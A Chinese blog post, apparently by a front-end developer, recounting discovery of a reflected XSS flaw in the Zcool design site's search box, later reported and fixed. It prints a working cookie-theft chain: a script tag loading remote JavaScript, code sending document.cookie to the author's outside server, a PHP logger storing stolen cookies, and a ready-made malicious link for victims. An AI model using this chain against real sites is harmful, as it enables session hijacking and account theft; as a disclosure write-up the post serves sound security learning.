一个危险的XSS案例——轻松拿到登录用户的cookie

简介:
casperchen from IMWeb Team.
 
站酷是我很喜欢的设计类站点,上面有我大二美好的回忆,卖个广告,我的个人主页是: http://www.zcool.com.cn/u/346408
 
很好,其实上面不是重点。这段时间周围出现了好几单安全相关的问题,基本都是XSS漏洞导致的。于是内心一直惦记着,包括上个周末在逛站酷的时候,然后突发奇想: 站酷上是否也存在XSS漏洞呢?
 
 
找到XSS漏洞
 
本着学习交流的目的,用颤巍巍的手指在站酷的作品搜索拦里输下了如下代码
<script>alert(1)</script>

 

然后按下了回车(http://www.zcool.com,chrome浏览器下访问) 

 
 
内心一阵失落,并没有预期中那样弹出个框来,叹了口气。但是,毕竟是个不轻言放弃的人,于是想了:chrome浏览器的安全机制是比较强大的,莫非是浏览器做了什么事情?
 
于是F12打开控制台,果然~~好吧,输给chrome了。
 
 
既然如此,其他浏览器呢?一向挺喜欢freifox浏览器的,前端工作人员嘛,于是firefox毫不犹豫成了第二个试验的对象。然后~~然后~~ congratulations!!
 
好大一个弹窗!
 
 
进一步利用XSS漏洞
 
虽然内容有一些鸡冻,但仅仅找到一个XSS漏洞显然无法满足一个充满求知欲望的前端攻城狮,于是继续想:是不是可以利用它来做更多事情呢?
 
首先分析了下站酷的页面表现神马的,发现它是 将用户输入脚本直接输出到页面,那就好办了,果断输入如下内容:
 
<script src="http://saintcoder.duapp.com/joke/joke.js"></script>
 
于是站酷华丽丽地就加载了一段joke.js(只是恶作剧性质的脚本),joke.js里面的代码也很简单,创建一个img标签,将它的src属性指向我预先写好的一个脚本joke.php,这里关键的一点是: 将页面的cookie最为参数附加到url后面
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://saintcoder.duapp.com/joke/joke.php?joke='+encodeURIComponent(document.cookie);

然后呢,joke.php里也是相当简单,解析请求里面的joke参数(即用户的cookie),然后。。。然后偷偷保留起来别有他用~~
<?php
    @ini_set('display_errors',1);
    $str = $_GET['joke'];
    $filePath = "joke.php";

    if(is_writable($filePath)==false){
         echo "can't write";
    }else{
          $handler = fopen(filePath, "a");
          fwrite($handler, $str);
          fclose($handler);
    }
?>

很好,顿时觉得站酷很危险,只要我把下面这段链接发给其他站酷用户
 
http://www.zcool.com.cn/tosearch.do?page=0&world=%3Cscript%20src=%22http://saintcoder.duapp.com/joke/joke.js%22%3E%3C/script%3E

毫无压力所有cookie到手,如果当时用户登录中效果更佳 :)
 
 
漏洞提交
 
找到漏洞很鸡冻,但毕竟站酷是我挺喜欢的一个网站,也不希望它被人黑了。于是果断给站酷管理员,并收到回复。god bless 站酷~
 
 
结束语
截至目前,该XSS漏洞已被修复,所以就把这篇文章贴出来分享下,避免过早公布导致站酷被人攻击就不好了~~
 
网络很不安全,开发兄弟们要加强安全防范意识啊~~~
相关文章
|
6月前
一个困扰几天的难题 cookie 登录
一个困扰几天的难题 cookie 登录
31 0
|
1月前
|
数据采集 存储 安全
登录态数据抓取:Python爬虫携带Cookie与Session的应用技巧
登录态数据抓取:Python爬虫携带Cookie与Session的应用技巧
|
3月前
|
存储 安全 PHP
php案例 解决cookie失效后使用session的问题
php案例 解决cookie失效后使用session的问题
php案例 解决cookie失效后使用session的问题
|
3月前
|
存储 JSON 算法
登录认证-登录校验-会话技术方案选择和对比(cookie、session和JWT令牌)
登录认证-登录校验-会话技术方案选择和对比(cookie、session和JWT令牌)
|
5月前
利用cookie进行登录
利用cookie进行登录
45 0
|
8月前
|
JSON NoSQL Redis
cookie 免密登录了解一下
cookie 免密登录了解一下
cookie 免密登录了解一下
|
10月前
|
NoSQL JavaScript 关系型数据库
【Node.js实战】一文带你开发博客项目之登录(对接完毕,cookie、session、redis各司其职)
【Node.js实战】一文带你开发博客项目之登录(对接完毕,cookie、session、redis各司其职)
110 0
|
10月前
|
存储 JSON 前端开发
【JavaEE】Cookie与Session的前后端交互-表白墙登录设计
就是在前后端配合下,感受Cookie的存在!
63 0